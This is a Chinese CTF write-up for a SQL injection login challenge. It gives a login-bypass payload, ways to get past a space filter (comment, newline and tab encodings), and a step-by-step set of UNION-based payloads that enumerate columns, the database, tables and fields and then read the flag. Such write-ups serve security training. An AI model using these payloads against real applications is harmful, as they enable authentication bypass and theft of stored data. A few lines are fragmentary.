一、题目
二、解题思路
- 输入万能用户名:admin' or 1=1#,密码随意。
"or 1=1#,密码随意。
返回页面:
- 考虑是否有过滤! 也许是空格过滤。我输入1 1时,返回同样页面,但输入1就没事,输入1 又报错。
- 用 /**/(多行注释符)来代替空格,构造新的 payload:
'/**/or/**/1=1#
密码随便填,点击登录即可绕过验证。
有了注释符,也可以不输入密码了。
存在注入
绕过空格的方法:
- 多行注释符 /**/
- %0a(URL编码的换行符)
- %09(URL编码的制表符)
- 括号 () 包裹函数,如 or(1=1)
- 判断注入类型和闭合方式,输入:
'/**/and/**/1=1#
'/**/and/**/1=2#
均无报错,,可能这道题目屏蔽了报错,不输出错误信息。所以看不到 SQL 错误,但注入依然存在。
- 判断列数,输入:
'/**/or/**/1=1/**/order/**/by/**/1#
'/**/or/**/1=1/**/order/**/by/**/2#
'/**/or/**/1=1/**/order/**/by/**/3#
'/**/or/**/1=1/**/order/**/by/**/4#
前3列都正常返回登录成功,到4列报错,说明有3列
- 判断回显位置:
'/**/or/**/1=1/**/union/**/select/**/1,2,3#
说明回显位置为2
- 查数据库,输入:
'/**/or/**/1=1/**/union/**/select/**/1,database(),3#
- 查表
'/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
- 查字段
'/**/or/**/1=1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
- 读flag
'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#